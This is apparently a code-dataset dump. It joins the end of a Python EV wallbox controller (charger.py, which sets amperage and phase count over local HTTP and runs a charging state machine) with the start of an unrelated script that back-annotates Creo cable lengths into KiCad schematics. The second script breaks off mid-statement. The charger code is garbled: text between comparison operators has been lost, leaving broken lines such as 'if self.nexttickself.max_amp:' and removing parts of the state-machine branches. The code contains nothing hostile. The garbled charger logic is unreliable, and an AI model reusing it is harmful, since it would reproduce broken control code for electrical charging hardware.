 self.car_phase_count=3\n        self.wait_for_kw_stop=False\n        self.wait_for_car_timeout=0\n        self.statemachine()\n\n    def get_car_phase_count(self):\n        return self._car_phase_count\n    def set_car_phase_count(self,phases):\n        self._car_phase_count=phases\n        self.used_phase_count=phases\n    car_phase_count=property(get_car_phase_count,set_car_phase_count)\n\n    def get_used_phase_count(self):\n        return self._used_phase_count\n    def set_used_phase_count(self,phases):\n        self._used_phase_count=min(phases,self._car_phase_count)\n        self.step_power=int(self._used_phase_count*self.voltage)\n        self.start_power=self.min_amp*self.step_power\n    used_phase_count=property(get_used_phase_count,set_used_phase_count)\n\n\n    def update_charge_mode(self,oldmode):\n        newmode=self.get_charge_mode()\n        if newmode!=oldmode:\n            logger.info(self.name+\" switched charger mode to \"+charger_modes[newmode])\n\n    def get_charge_mode(self):\n        if self.wait_for_kw_stop:\n            return Charger_modes.AMOUNT\n        elif self.override_amp>0:\n            return Charger_modes.MANUAL\n        else:\n            return Charger_modes.AUTOMATIC\n    charge_mode=property(get_charge_mode)\n\n    def get_plug_state(self):\n        return self._plug_state\n    def set_plug_state(self,state):\n        if self._plug_state!=state:\n            self._plug_state=state\n            logger.info(self.name+\" Switching to plug state \"+plug_states[state])\n    plug_state=property(get_plug_state,set_plug_state)\n\n    def get_charge_state(self):\n        return self._charge_state\n    def set_charge_state(self,state):\n        if self._charge_state!=state:\n            if state==Charge_states.CHARGING:\n                pass\n            self._charge_state=state\n            logger.info(self.name+\" Switching to charge state \"+charge_states[state])\n    charge_state=property(get_charge_state,set_charge_state)\n\n    def update(self):\n        if self.nexttickself.max_amp:\n            newvalue=self.max_amp\n        if newvalue!=self.amp:\n            cmd=\"amx\" if self.capabilities[\"amx\"] else \"amp\"\n            # update self.amp before a call of read_data to\n            # prevent interpretation as override amp\n            self.amp=newvalue\n            self.data=self.http_get(\"mqtt?payload=\"+cmd+\"=\"+str(newvalue))\n\n    def switch_phases(self,phase_count):\n        if phase_count>1:\n            if self.phases_set!=3:\n                data=self.http_get(\"api/set?psm=2\")\n                self.phases_set=3\n                self.used_phase_count=3\n                logger.info(self.name+\" switched used phases to \"+str(self.used_phase_count))\n        else:\n            if self.phases_set!=1:\n                data=self.http_get(\"api/set?psm=1\")\n                self.phases_set=1\n                self.used_phase_count=1\n                logger.info(self.name+\" switched used phases to \"+str(self.used_phase_count))\n\n    def activate_charger(self,run):\n        alw=int(self.data[\"alw\"])\n        if run!=(alw==1):\n            self.data=self.http_get(\"mqtt?payload=alw=\"+str(1 if run else 0))\n\n    def http_get(self,uri):\n        print(\"trying to get data from\", self.address)\n        try:\n            r = requests.get(\"http://\"+str(self.address)+\"/\"+uri,timeout=3)\n            self.reachable=True\n        except:\n            self.reachable=False\n        if self.reachable:\n            if r.status_code==200:\n                data=r.text\n                try:\n                    data=r.json()\n                except:\n                    pass\n                return data\n            else:\n                return None\n\n    def read_data(self):\n        if data_override_file!=\"\":\n            try:\n                with open(os.path.dirname(os.path.abspath(__file__))+data_override_file) as json_file:\n                    override_data = json.load(json_file)\n                    res=override_data.get(\"res\")\n                    if not res is None:\n                        self.reserve=int(res)\n            except:\n                override_data={}\n            self.data={**self.data,**override_data}\n        self.is_pluggedin=self.data[\"car\"] in [2,3,4]\n        self.connected_phase_count=0\n        self.voltage=0\n        for phase_number in range(3):\n            if self.data[\"nrg\"][phase_number]:\n                self.voltage+=self.data[\"nrg\"][phase_number]*self.correction_factor\n                self.connected_phase_count+=1\n        self.voltage=int(self.voltage//self.connected_phase_count)\n        self.current_power=int(round(self.data[\"nrg\"][11]*self.correction_factor*10,0))\n        oldmode=self.get_charge_mode()\n        if int(self.data[\"amp\"])!=self.amp:\n            # amp value was set outside via device button or app and will be used as\n            # override value\n            self.override_amp=int(self.data[\"amp\"])\n            self.wait_for_car_timeout=time.time()+TIMEOUT_WAIT_FOR_PLUG_IN\n        # if amount to charge is set via app temporaryly set override_amp to\n        # make sure the amount is charged before going back to automatic\n        if int(self.data[\"dwo\"])>0 and not self.wait_for_kw_stop:\n            self.wait_for_kw_stop=True\n            if self.override_amp==0:\n                self.override_amp=int(self.data[\"amp\"])\n                if int(self.data[\"car\"])==1:\n                    # wait 2 minutes for plugin of a car before returning to automatic mode\n                    self.wait_for_car_timeout=time.time()+TIMEOUT_WAIT_FOR_PLUG_IN\n        if self.wait_for_kw_stop and int(self.data[\"dwo\"])==0:\n            self.wait_for_kw_stop=False\n            self.override_amp=0\n        self.amp=int(self.data[\"amp\"])\n        self.car=int(self.data[\"car\"])\n        self.charger_activated=int(self.data[\"alw\"])==1\n        self.charging_power=int(int(self.data[\"nrg\"][11]*10*self.correction_factor))\n        self.update_charge_mode(oldmode)\n\n    def statemachine(self):\n        if self.plug_state==Plug_states.INITIALIZE_CHARGER:\n            self.reachable=False\n            # older chargers tend to measure a too low volate\n            # as power is measured voltage*current, power needs same correction\n            self.correction_factor=1.05 \n            self.capabilities={\"phaseswitch\":False,\"amx\":False}\n            if not self.address is None:\n                data=self.http_get(\"api/status\")\n                if not data is None:\n                    self.capabilities[\"phaseswitch\"]=True\n                    #HW3 ist more correct than deviation of 5% from HW2 and bef6ore\n                    self.correction_factor=1\n                self.correction_factor=float(self.config.get(\"correction_factor\",str(self.correction_factor)))\n                self.data=self.http_get(\"status\")\n                if not self.data is None:\n                    self.set_amp(0)\n                    if float(self.data[\"fwv\"])>=40:\n                        self.capabilities[\"amx\"]=True\n                    self.read_data()\n                if self.reachable:\n                    self.plug_state=Plug_states.RESTARTING\n        if self.plug_state==Plug_states.RESTARTING:\n            oldmode=self.get_charge_mode()\n            # reset charger mode to automatic\n            self.charger_mode=Charger_modes.AUTOMATIC\n            self.switch_phase_power=DEFAULTPHASESWITCHSTEP\n            # set phases to 3\n            if self.connected_phase_count>1 and self.capabilities[\"phaseswitch\"]:\n                self.switch_phases(3)\n            # reset override_amp if restarting\n            self.override_amp=0\n            self.wait_for_car_timeout=0\n            # set amp to minimum to notice when it was changed\n            self.set_amp(MIN_AMP)\n            # activate pwm signal to make button work\n            self.activate_charger(True)\n            # find next state\n            self.update_charge_mode(oldmode)\n            if self.car==1:\n                self.plug_state=Plug_states.WAITING_FOR_VEHICLE_PLUGGING_IN\n                self.charge_state=Charge_states.UNPLUGGED\n            else:\n                self.plug_state=Plug_states.PLUGGED_IN\n                self.charge_state=Charge_states.INITIALIZE_VEHICLE\n        if self.plug_state==Plug_states.WAITING_FOR_VEHICLE_PLUGGING_IN:\n            if self.car!=1:\n                self.plug_state=Plug_states.PLUGGED_IN\n                self.charge_state=Charge_states.INITIALIZE_VEHICLE\n            else:\n                if time.time()>self.wait_for_car_timeout:\n                    oldmode=self.get_charge_mode()\n                    self.override_amp=0\n                    self.update_charge_mode(oldmode)\n                    self.set_amp(MIN_AMP)\n        if self.plug_state==Plug_states.PLUGGED_IN:\n            if self.car==1:\n                self.plug_state=Plug_states.RESTARTING\n            elif self.charge_state==Charge_states.INITIALIZE_VEHICLE:\n                #detect vehicle\n                if self.connected_phase_count==1:\n                    self.car_phase_count=1\n                    self.charge_state=Charge_states.CHARGING\n                else:\n                    self.timeout=time.time()+TIMEOUT_DETECT_VEHICLE # wait 15 seconds to detect number of phases that the car uses\n                    self.charge_state=Charge_states.WAITING_FOR_INITIALIZED_VEHICLE\n            elif self.charge_state==Charge_states.WAITING_FOR_INITIALIZED_VEHICLE:\n                if self.current_power0:\n                        car_phase_count+=1\n                # if all three phases are used or timeout is over proceed with charging\n                if (car_phase_count>2) or ((time.time()>self.timeout) and (car_phase_count>0)):\n                    self.timeout=0\n                    self.car_phase_count=car_phase_count\n                    self.used_phase_count=car_phase_count\n                    self.switch_phase_power=self.start_power+SWITCHPHASEHYSTERESIS\n                    self.charge_state=Charge_states.CHARGING\n            if self.charge_state==Charge_states.CHARGING:\n                if self.reserve1 and self.capabilities[\"phaseswitch\"]:\n                            if self.reserve<-SWITCHPHASEHYSTERESIS:\n                                self.switch_phases(1)\n                        else:\n                        # otherwise deactivate charger\n                            self.activate_charger(False)\n                            self.charge_state=Charge_states.WAITING_FOR_POWER\n                    if self.current_powerself.switch_phase_power):\n                    self.set_amp(MIN_AMP)\n                    self.switch_phases(3)\n                elif (self.reserve>self.step_power+UPHYSTERESIS) and (self.current_power>(self.step_power*(self.amp-1))):\n                    self.set_amp(self.amp+1)\n            elif self.charge_state==Charge_states.WAITING_FOR_POWER:\n                if (self.reserve>self.start_power) or (self.override_amp>0):\n                    self.activate_charger(True)\n                    self.charge_state=Charge_states.CHARGING\n                else:\n                    self.activate_charger(False)\n            elif self.charge_state==Charge_states.FINISHED:\n                if self.current_power>FINISHEDLIMIT:\n                    # restart charging\n                    self.charge_state=Charge_states.CHARGING\n\n    def __str__(self):\n        state=charge_states[self.charge_state] if self.plug_state==Plug_states.PLUGGED_IN else plug_states[self.plug_state]\n        return str({\n            \"reachable\":self.reachable,\n            \"state\":state,\n            \"connected phases\":self.connected_phase_count,\n            \"car_phases\":self.car_phase_count,\n            \"used_phases\":self.used_phase_count,\n            \"amp\":self.amp,\n            \"override\":self.override_amp,\n            \"power\":self.charging_power,\n            \"step_power\":self.step_power,\n            \"start_power\":self.start_power,\n            \"switch_phase_power\":self.switch_phase_power,\n            \"mode\":charger_modes[self.charge_mode],\n            \"alw\":self.charger_activated,\n            \"reserve\":self.reserve\n        })+\"\\n\"\n        \"\"\"\n            \"voltage\":self.voltage,\n            \"caps\":self.capabilities,\n        \"\"\"\n", "repo_name": "amandebu/pichaco3", "sub_path": "charger.py", "file_name": "charger.py", "file_ext": "py", "file_size_in_byte": 15842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "enum.IntEnum", "line_number": 22, "usage_type": "name"}, {"api_name": "enum.IntEnum", "line_number": 35, "usage_type": "name"}, {"api_name": "enum.IntEnum", "line_number": 52, "usage_type": "name"}, {"api_name": "sink.Sink", "line_number": 65, "usage_type": "name"}, {"api_name": "time.time", "line_number": 145, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 191, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 209, "usage_type": "call"}, {"api_name": "os.path", "line_number": 209, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 209, "usage_type": "call"}, {"api_name": "json.load", "line_number": 210, "usage_type": "call"}, {"api_name": "time.time", "line_number": 231, "usage_type": "call"}, {"api_name": "time.time", "line_number": 240, "usage_type": "call"}, {"api_name": "time.time", "line_number": 300, "usage_type": "call"}, {"api_name": "time.time", "line_number": 314, "usage_type": "call"}, {"api_name": "time.time", "line_number": 320, "usage_type": "call"}, {"api_name": "time.time", "line_number": 326, "usage_type": "call"}]}
{"seq_id": "31564588326", "text": "# -*- coding: utf-8 -*-\r\n# https://github.com/latefyr/kicadcreo.git\r\n# MIT license\r\n#\r\n# Parse Creo Schematic cable file and take harness numbers and\r\n# wire/cable lengths back to Kicad schematic.\r\n# \r\n# Do not overwrite the original Schematic. \r\n#\r\n# Copyright (C) LasseFyr 2019.\r\n#\r\n# This has been tested only with Creo 4.0 070\r\n#\r\n\"\"\"\r\n    @package\r\n    Generate a net list file.\r\n\r\n    Command line: \r\n    Run from Kicad eeschema with default parameters \"%I\" \"%O\"\r\n\t\r\n\tChanges:\r\n\t2023.05.01\tKicad 7.0.2 hierarchical refdes issue patch. Not tested to work with all combinations.\r\n\t2022.03.01\tPrevious update broke V5 operation. Fixed.\r\n\t2022.01.01\tadded preliminary support for KicadV6\r\n\"\"\"\r\n\r\nfrom __future__ import print_function\r\nfrom xml.dom import minidom\r\nimport sys\r\nimport sch\r\nimport glob\r\nimport os\r\nimport datetime\r\nimport shutil\r\nimport math\r\n#import sexpdata\r\n\r\nclass xmlReadCreo:\r\n\tdef __init__(self):\r\n\t\tself.__infoString = \"\"\r\n\t\tself.__errorString = \"\"\r\n\t\tself.__warningString = \"\"\t\r\n\t\tself.refDesVals = []\r\n\t\tself.harnessNum = []\r\n\t\tself.wireLength = []\r\n\t\tself.sheets = []\r\n\t\tself.alreadyProsessed = []\r\n\t\tself.prosessedSheets = []\r\n\t\tself.kiCadSch = object()\r\n\r\n#-----------------------------------------------------------------------------------------\r\n# Create backup files of the schematic first\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\t\t\r\n\tdef backUpFile( self, fileToBackup ):\r\n\t\tself.fileToProcess = fileToBackup\r\n\t\tself.fileFirstBackup = fileToBackup+\".bak\"\r\n\t\tself.fileSecondBackup = fileToBackup+\".bak2\"\r\n\t\tself.returnVal = False\t\t\r\n\r\n\t\tif os.path.exists( self.fileFirstBackup ):\r\n\t\t\tshutil.move( self.fileFirstBackup, self.fileSecondBackup)\r\n\t\t\tself.writeInfoStr(\"Moved first backup to second backup \"+ self.fileSecondBackup + \"\\n\")\r\n\t\t\t#print( \"Moved first backup to second backup \"+ self.fileSecondBackup, file=sys.stdout )\r\n\t\t\t\r\n\t\t\t\r\n\t\tif ( os.path.exists( self.fileToProcess )):\r\n\t\t\ttry:\r\n\t\t\t\tos.rename( self.fileToProcess, self.fileFirstBackup )\r\n\t\t\t\tself.returnVal = True\r\n\t\t\texcept OSError as error: \r\n\t\t\t\tself.writeErrorStr(\" Could not create Backupfile: \" + self.fileFirstBackup + \"\\n\")\r\n\t\telse:\r\n\t\t\tself.writeInfoStr( \" File \" + self.fileToProcess + \" does not exist!\\n\" )\r\n\r\n\t\treturn self.returnVal\r\n\r\n#-----------------------------------------------------------------------------------------\r\n# Write Kicad Schematic Sheet Data\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\r\n\tdef writeKicadSheet( self, sheetName ):\r\n\t\tfor component in sheetName.components:\r\n\t\t\tfor name, value in component.labels.items():\r\n\t\t\t\tif value[:1]==\"W\" or value[:3]==\"CBL\":\r\n\t\t\t\t\trefDes=value\r\n\t\t\t\t\tfor field in component.fields:\t\r\n\t\t\t\t\t\tfor key in field.keys():\r\n\t\t\t\t\t\t\t# Get the component field \"Length\" and modify\r\n\t\t\t\t\t\t\tif field[key] == \"\\\"Length\\\"\":\r\n\t\t\t\t\t\t\t\tthisIsTheLengthParam = key\r\n\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\tmyindex = self.refDesVals.index(refDes)\r\n\t\t\t\t\t\t\t\texcept ValueError:\r\n\t\t\t\t\t\t\t\t\tself.writeErrorStr( \"Refdes \\\"\"+refDes+\"\\\" does not exist! Not routed yet?\\n\" )\r\n\t\t\t\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\t\t\troundedIntLen = math.ceil(float(self.wireLength[myindex]))\r\n\t\t\t\t\t\t\t\troundedWireLen = str(roundedIntLen).split('.')[0] \t\t\t\t# Round up and no decimal places\r\n\t\t\t\t\t\t\t\tself.writeInfoStr(\"Name: \" + \"{0:<6}\".format(refDes) + \" Harness Name: \" + \"{0:<15}\".format(self.harnessNum[myindex]) + \" lenght: \" +roundedWireLen + \"\\n\")\r\n\t\t\t\t\t\t\t\tfield['ref'] = \"\\\"\"+roundedWireLen+\"mm\\\"\"\r\n\t\t\t\t\t\t\tif field[key] == \"\\\"Harness_name\\\"\":\r\n\t\t\t\t\t\t\t\tthisIsTheHarnName = key\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\t\tmyindex = self.refDesVals.index(refDes)\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\texcept ValueError:\r\n\t\t\t\t\t\t\t\t\tself.writeErrorStr( \"Refdes \\\"\"+refDes+\"\\\" does not exist! Not routed yet?\\n\" )\r\n\t\t\t\t\t\t\t\t\tcontinue\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tharnessName = self.harnessNum[myindex]\r\n\t\t\t\t\t\t\t\tfield['ref'] = \"\\\"\"+harnessName+\"\\\"\"\r\n\t\t\t\t\t\t\t\t\r\n#\t\tprint( self.refDesVals )\r\n#\t\tprint( self.wireLength )\r\n#\t\tprint( self.harnessNum )\r\n\r\n#-----------------------------------------------------------------------------------------\r\n# Find the Last refdes from the symbol -> instances-record\r\n# Kicad has an uninvestigated way of storing the visible RefDes-values. This change was \r\n# added to Kicad 7.0.2. Without understanding why I just read the last refdes available...\r\n# In current tests the the recursion count has been 9. Might get bigger \r\n# with deeper hierarchical designs.\r\n#-----------------------------------------------------------------------------------------\r\n#\trecursiveCtr = 0\r\n\tlastRefDes = \"\"\r\n\tdef find_RefDes( self, listItem ):\r\n\t\tfrom sexpdata import Symbol, car, cdr\r\n\t\t#self.recursiveCtr+=1\r\n\t\tfor i, j in  enumerate(listItem):\t\t\r\n\t\t\tif ( not hasattr(j, \"__getitem__\") ):\r\n\t\t\t\treturn\t\t\t\t\r\n\t\t\telif ( isinstance( car(j), Symbol ) and ( car(j) != Symbol(\"reference\")) ):\t\t\r\n\t\t\t\tif( hasattr(j, \"__getitem__\") ):\r\n\t\t\t\t\tself.find_RefDes( j )\r\n\t\t\telif( isinstance( car(j), Symbol) and ( car(j)== Symbol(\"reference\")) ):\r\n\t\t\t\tself.lastRefDes = cdr(j)[0]\t\t\t\t\r\n\t\t\t\t\r\n#-----------------------------------------------------------------------------------------\r\n# Write Kicad V6 Schematic Sheet Data\r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\r\n\tdef writeKicadSch_v6( self ):\r\n\t\tfrom sexpdata import Symbol, car, cdr\r\n\t\tfor i, x in enumerate(self.kiCadSch):\r\n\t\t\tif ( car(x) == Symbol('symbol') ): \r\n\t\t\t\trefDes = \"\"\r\n\t\t\t\tfor j, y in enumerate(x):\t\t\r\n\t\t\t\t#---------------------------------------------------\r\n\t\t\t\t# Check if this item is a cable or a wire. If not then continue\r\n\t\t\t\t#---------------------------------------------------\r\n\t\t\t\t\tif ( (car(y) == Symbol('property')) and  ( cdr(y)[0]== \"Reference\" )): \r\n\t\t\t\t\t\tif( (cdr(y)[1][:1] == 'W') or (cdr(y)[1][:3]==\"CBL\")):\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\trefDes = cdr(y)[1]\r\n\t\t\t\t\t\t\t# Find instance reference designator\r\n\t\t\t\t\t\t\tfor d, z in  enumerate(x):\r\n\t\t\t\t\t\t\t\tif ( car(z) == Symbol('instances') ):\r\n\t\t\t\t\t\t\t\t\t#self.recursiveCtr=0\r\n\t\t\t\t\t\t\t\t\tself.lastRefDes = \"\"\r\n\t\t\t\t\t\t\t\t\tself.find_RefDes( z )\r\n\t\t\t\t\t\t\t\t\t#print( \"FINAL REFDES = \"+self.lastRefDes)\r\n\t\t\t\t\t\t\t\t\t#print( \"recursionCount = \"+ str(self.recursiveCtr))\r\n\t\t\t\t\t\t\t\t\tif(self.lastRefDes):\r\n\t\t\t\t\t\t\t\t\t\trefDes = self.lastRefDes\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tcontinue\t\r\n\t\t\t\t\t\r\n\t\t\t\t#---------------------------------------------------\r\n\t\t\t\t# Process the lengths and the Part Numbers\r\n\t\t\t\t#---------------------------------------------------\r\n\t\t\t\t# Update the Harness Name String if it exists\r\n\t\t\t\t\tif ( car(y) == Symbol('property') ):\r\n\t\t\t\t\t\tif( cdr(y)[0].lower() == \"harness_name\" ):\t\t#note - lower case\r\n\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\tmyindex = self.refDesVals.index(refDes)\t\t\t\t\t\t\r\n\t\t\t\t\t\t\texcept ValueError:\r\n\t\t\t\t\t\t\t\tself.writeErrorStr( \"Refdes \\\"\"+refDes+\"\\\" does not exist! Not routed yet?\\n\" )\r\n\t\t\t\t\t\t\t\tcontinue\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tharnessName = self.harnessNum[myindex]\r\n\t\t\t\t\t\t\ty[2] = harnessName\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t#---------------------------------------------------\r\n\t\t\t\t\t# Update the Harness Length String if it exists\r\n\t\t\t\t\t\tif( cdr(y)[0].lower() == \"length\" ):\r\n\t\t\t\t\t\t\ttry:\r\n\t\t\t\t\t\t\t\tmyindex = self.refDesVals.index(refDes)\r\n\t\t\t\t\t\t\texcept ValueError:\r\n\t\t\t\t\t\t\t\tself.writeErrorStr( \"Refdes \\\"\"+refDes+\"\\\" does not exist! Not routed yet?\\n\" )\r\n\t\t\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\t\troundedIntLen = math.ceil(float(self.wireLength[myindex]))\r\n\t\t\t\t\t\t\troundedWireLen = str(roundedIntLen).split('.')[0] \t\t\t\t# Round up and no decimal places\r\n\t\t\t\t\t\t\tself.writeInfoStr( \"Name: \" + \"{0:<6}\".format(refDes) + \" Harness Name: \" + \"{0:<15}\".format(self.harnessNum[myindex]) + \" lenght: \" +roundedWireLen + \"\\n\" )\r\n\t\t\t\t\t\t\ty[2] = (roundedWireLen+\"mm\")\r\n\t\r\n#-----------------------------------------------------------------------------------------\r\n# Read data from Creo xml and store the read lengths, part numbers, and refdes values.\r\n#\r\n#-----------------------------------------------------------------------------------------\r\n\tdef readCreoPartNumsAndLengths( self, fileName ):\r\n\t\t\"\"\"\r\n\t\tThis function Reads the wirenames (creo part names) and their lengths.\t\t\r\n\r\n\t\tArgs:\r\n\t\t\targ1: Original design name\r\n\t\t\r\n\t\tNote:\r\n\t\t\tcables.inf file is used if possible. I now create cables.inf with mapkey\r\n\t\t\tand read the latest version from the work directory. cables.inf must not be\r\n\t\t\tolder than 1 hour.\r\n\r\n\t\tReturns:\r\n\t\t\tTrue if succesful\r\n\t\t\"\"\"\r\n\t\t\r\n\t\tfile_path = \"C:\\PTC\\work9\\cables.inf\"  # Replace with the actual path to your text file\r\n\t\treadCblName = \"\"\r\n\t\tharnessName = \"\"\r\n\r\n\t\tself.refDesVals = []\r\n\t\tself.harnessNum = []\r\n\t\tself.wireLength = []\r\n\t\t\t\r\n\t\tself.writeInfoStr( \"Creo Back Annotation - Lengths and Harness Names\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( \"------------------------------------------------\\n\" )\t\r\n\t\t\r\n\t\tfiles = glob.glob( file_path + '.*' )\r\n\t\tsorted_files = sorted(files, key=lambda x: os.path.splitext(x)[1], reverse=True )\r\n\r\n\t\t# Test whether the cables.inf.x file exists and is not older than one hour\r\n\t\t# Cables.Inf works also for flat cables. I could not get the length for the ribbon\r\n\t\t# cable when exporting the creo schematic xml.\r\n\t\tif( (sorted_files) and self.is_file_newer_than_one_hour( sorted_files[0] ) ):\r\n\t\t\tself.writeInfoStr( \"Using \"+ sorted_files[0] + \" for back-annotation\\n\" )\r\n\t\t\twith open(sorted_files[0], \"r\") as file:\r\n\t\t\t\tfor line in file:\r\n\t\t\t\t\t# Process each line here\r\n\t\t\t\t\tthisLine = line.strip()\r\n\t\t\t\t\tif(thisLine.startswith(\"HARNESS NAME:\")):\r\n\t\t\t\t\t\ttokens = thisLine.split(\":\")\r\n\t\t\t\t\t\t#print(\"Harness Name = \"+tokens[1])\r\n\t\t\t\t\t\tharnessName = tokens[1]\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\r\n\t\t\t\t\tif( thisLine.startswith(\"W\") or thisLine.startswith(\"CBL\") ):\r\n\t\t\t\t\t\ttokens = thisLine.split()\r\n\t\t\t\t\t\tif(readCblName == tokens[0].split(\":\",1)[0]):\r\n\t\t\t\t\t\t\t#print(\"Already read cbl\")\r\n\t\t\t\t\t\t\tcontinue\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\treadCblName =  tokens[0]\r\n\t\t\t\t\t\tcblLength = tokens[2]\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\tself.harnessNum.append( harnessName )\r\n\t\t\t\t\t\tself.refDesVals.append( readCblName )\r\n\t\t\t\t\t\tself.wireLength.append( cblLength )\r\n\t\t# else continue with the old method of reading _creoin.xml from the current directory\r\n\t\t\r\n\t\telse:\t\t\t\t\t\t\r\n\t\t\tself.creoSchXmlName = os.path.splitext(fileName)[0] +\"_creoin.xml\"\r\n\t\t\tself.writeInfoStr( \"Using \"+ self.creoSchXmlName + \" for back-annotation\\n\" )\r\n\r\n\t\t\tif( os.path.isfile(self.creoSchXmlName) ):\r\n\t\t\t\tself.writeInfoStr( \"Creo Schematic Xml-file OK: \" + self.creoSchXmlName + \"\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tself.writeErrorStr( \"Creo Schematic Inputfile NOT FOUND: \" + self.creoSchXmlName + \"\\n\" )\r\n\t\t\t\tself.writeInfoStr( \"NOTE:You need to export Creo Schematic xml file with name: \" + self.creoSchXmlName + \"\\n\" )\t\t\t\r\n\t\t\t\tself.writeInfoStr( \"(Cabling -> Logical Data -> Export -> Creo Schematic)\\n\" )\t\t\t\r\n\t\t\t\treturn False\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\tcreoXml = minidom.parse( self.creoSchXmlName )\r\n\t\t\tconnections = creoXml.getElementsByTagName(\"CONNECTION\")\r\n\r\n\t\t\tfor connection in connections:\r\n\t\t\t\treadCblName = connection.getAttribute(\"name\")\r\n\t\t\t\ttype = connection.getAttribute(\"type\")\r\n\t\t\t\tvarName = \"\"\r\n\t\t\t\tharnessName = \"\"\r\n\t\t\t\tif readCblName[:1] ==\"W\" or type == \"ASSEMBLY\":\r\n\t\t\t\t\tself.refDesVals.append(readCblName)\r\n\t\t\t\t\tparameters = connection.getElementsByTagName('PARAMETER')\r\n\t\t\t\t\tfor param in parameters:\r\n\t\t\t\t\t\tvarName = param.getAttribute('name')\r\n\t\t\t\t\t\tharnessName = param.getAttribute('value')\r\n\t\t\t\t\t\tif( varName == \"LENGTH\" ):\r\n\t\t\t\t\t\t\tself.wireLength.append(harnessName)\r\n\t\t\t\t\t\tif( varName == \"HARNESS_NAME\"):\r\n\t\t\t\t\t\t\tself.harnessNum.append(harnessName)\r\n\t\t\t\t\t\t\t\r\n\t\treturn True\r\n\t\t\r\n\tdef is_file_newer_than_one_hour( self, file_path ):\r\n\t\t\"\"\"\r\n\t\tThis function Checks whether the cables.inf file was generated within the past hour.\r\n\t\tIf not then return false.\r\n\r\n\t\tArgs:\r\n\t\t\targ1: Path to the file to check\t\r\n\r\n\t\tReturns:\r\n\t\t\tThe result true if file is generated within the past hour.\r\n\t\t\tThe result is False if file doesn't exist or was generated over an hour ago.\r\n\t\t\"\"\"\r\n\t\tif not os.path.isfile(file_path):\r\n\t\t\treturn False  # File doesn't exist\r\n\r\n\t\tfile_stat = os.stat(file_path)\r\n\t\tmodified_time = datetime.datetime.fromtimestamp(file_stat.st_mtime)\r\n\t\tcurrent_time = datetime.datetime.now()\r\n\r\n\t\ttime_difference = current_time - modified_time\r\n\t\ttime_difference_in_hours = time_difference.total_seconds() / 3600\r\n\r\n\t\treturn time_difference_in_hours < 1\r\n\t\t\r\n#-----------------------------------------------------------------------------------------\r\n# Read existing sheetnames in the design\r\n#\r\n#-----------------------------------------------------------------------------------------\r\n\tdef readCreoSheetNames( self, fileName ):\r\n\t\tself.creoSchXmlName = fileName +\".xml\"\r\n\t\t\r\n\t\tcreoXml = minidom.parse( self.creoSchXmlName )\t\t\r\n\t\tsheetNames = creoXml.getElementsByTagName(\"sheet\")\r\n\t\t\r\n\t\tself.sheets = []\r\n\t\tfor mysheet in sheetNames:\r\n\t\t\tx = mysheet.getElementsByTagName(\"source\")[0]\r\n\t\t\ty =x.childNodes[0];\t\t\r\n\t\t\tself.sheets.append( y.nodeValue )\r\n\t\t\r\n\t\tdel creoXml\r\n\r\n\r\n#-----------------------------------------------------------------------------------------\r\n# Read data from Creo Schematic file (Created with Creo)\r\n# and write the cable lengths and part numbers to Kicad Schematic file\r\n# \r\n#\r\n#-----------------------------------------------------------------------------------------\t\t\t\t\r\n\tdef backAnnotate( self, fileName ):\r\n\t\tself.creoSchXmlName = fileName +\"_creoin.xml\"\r\n\t\tself.kiCadOutputName = fileName +\"_creo.sch\"\r\n\t\tself.kiCadOriginalFile = fileName +\".sch\"\t\t\r\n\t\t\t\r\n\t\tself.writeInfoStr( \"Creo Back Annotation - Lengths and Harness Names\\n\" )\t\t\t\t\t\t\t\t\r\n\t\tself.writeInfoStr( \"------------------------------------------------\\n\" )\t\t\t\t\t\t\t\t\r\n\r\n\t\tif( os.path.isfile(self.creoSchXmlName) ):\r\n\t\t\tself.writeInfoStr( \"Creo Schematic Inputfile OK: \" + self.creoSchXmlName + \"\\n\" )\t\t\t\t\t\t\t\t\r\n\t\telse:\r\n\t\t\tself.writeErrorStr( \"Creo Schematic Inputfile NOT FOUND: \" + self.creoSchXmlName + \"\\n\" )\r\n\t\t\tself.writeInfoStr( \"NOTE:You need to export Creo Schematic xml file with name: \" + self.creoSchXmlName + \"\\n\" )\t\t\t\r\n\t\t\tself.writeInfoStr( \"(Cabling -> Logical Data -> Export -> Creo Schematic)\\n\" )\t\t\t\r\n\t\t\treturn False\r\n\t\t\t\r\n\t\tif( os.path.isfile(self.kiCadOriginalFile) ):\r\n\t\t\tself.writeInfoStr( \"Kicad Schematic Inputfile OK: \" + self.kiCadOriginalFile + \"\\n\" )\t\t\t\t\t\t\t\t\t\t\r\n\t\telse:\r\n\t\t\tself.writeErrorStr( \"Kicad Schematic Inputfile NOT FOUND: \" + self.kiCadOriginalFile + \"\\n\" )\t\t\t\t\t\t\t\t\r\n\t\t\treturn False\r\n\t\t\t\r\n\t\t\t\r\n\t\tcreoXml = minidom.parse(self.creoSchXmlName)\r\n\t\tconnections = 